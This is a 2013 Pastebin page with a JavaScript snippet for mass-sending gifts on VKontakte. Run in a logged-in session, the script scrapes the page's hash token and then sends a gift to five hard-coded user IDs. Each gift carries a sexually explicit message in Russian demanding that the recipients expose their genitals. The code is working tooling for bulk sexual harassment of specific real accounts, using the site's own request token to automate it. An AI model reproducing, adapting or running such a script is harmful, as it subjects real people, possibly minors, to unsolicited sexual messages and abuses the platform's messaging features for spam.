Advertisement
stuppid_bot

Рассылка подарков Вконтакте

Dec 28th, 2013
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function (gift_id, recipients) {
  2.     var req = new XMLHttpRequest;
  3.     req.open('GET', '/al_gifts.php?act=get_gift_box&al=1&fr=0&mid=' + recipients.split(',')[0]);
  4.     req.onload = function () {
  5.         var hash = req.response.match(/hash: '(.+?)'/)[1];
  6.         ajax.post('/al_gifts.php', {
  7.             act: 'do_send',
  8.             al: 1,
  9.             from: 'profile',
  10.             hash: hash,
  11.             mids: recipients,
  12.             need_module: 0,
  13.             number: gift_id,
  14.             text: 'Покажи попку и писечку, я подрочу.',
  15.             type: 0
  16.         },
  17.         {
  18.             onDone: function () {
  19.                 alert('Рассылка подарков завершена.');
  20.             }
  21.         });
  22.     };
  23.     req.send();
  24. })(544, '216820157,84841182,153620045,90524295,172509347');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement